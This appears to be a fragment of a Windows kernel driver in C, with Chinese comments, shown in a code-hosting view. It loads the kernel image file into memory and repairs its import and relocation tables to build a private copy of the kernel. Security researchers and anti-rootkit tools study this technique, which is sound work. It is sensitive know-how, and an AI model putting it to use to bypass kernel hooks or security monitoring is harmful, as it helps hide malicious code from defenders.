||||
Status=KernelGetFileSize(hFile,&FileSize); //读取irp信息,返回filesize
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
ZwClose(hFile);
|
||||
return FALSE;
|
||||
}
|
||||
Length=FileSize.LowPart;
|
||||
FileBuffer=ExAllocatePool(PagedPool,Length);
|
||||
if (FileBuffer==NULL)
|
||||
{
|
||||
ZwClose(hFile);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Status=KernelReadFile(hFile,NULL,Length,FileBuffer,&IoStatus); //传入文件句柄、文件大小 通过irp请求,读取文件到内存中
|
||||
if (!NT_SUCCESS(Status))
|
||||
{
|
||||
ZwClose(hFile);
|
||||
ExFreePool(FileBuffer);
|
||||
return FALSE;
|
||||
}
|
||||
ZwClose(hFile);
|
||||
|
||||
|
||||
if(!ImageFile(FileBuffer,&ImageBase)) //修复FileBuffer中的偏移 按照VirtualAglin 对齐 得到全局ImageModuleBase
|
||||
{
|
||||
ExFreePool(FileBuffer);
|
||||
return FALSE;
|
||||
}
|
||||
ExFreePool(FileBuffer);
|
||||
|
||||
//2k3下MiFindExportedRoutine调用失败
|
||||
if(!FixImportTable(ImageBase,ExistImageBase,DeviceObject)) //修复导入表
|
||||
{
|
||||
ExFreePool(ImageBase);
|
||||
return FALSE;
|
||||
}
|
||||
if(!FixBaseRelocTable(ImageBase,ExistImageBase)) //修复重定位表
|
||||
{
|
||||
ExFreePool(ImageBase);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
*ImageModeleBase=ImageBase; //得到最后的基地址 就是 和 原来内存中格式一样的 一块ntos
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user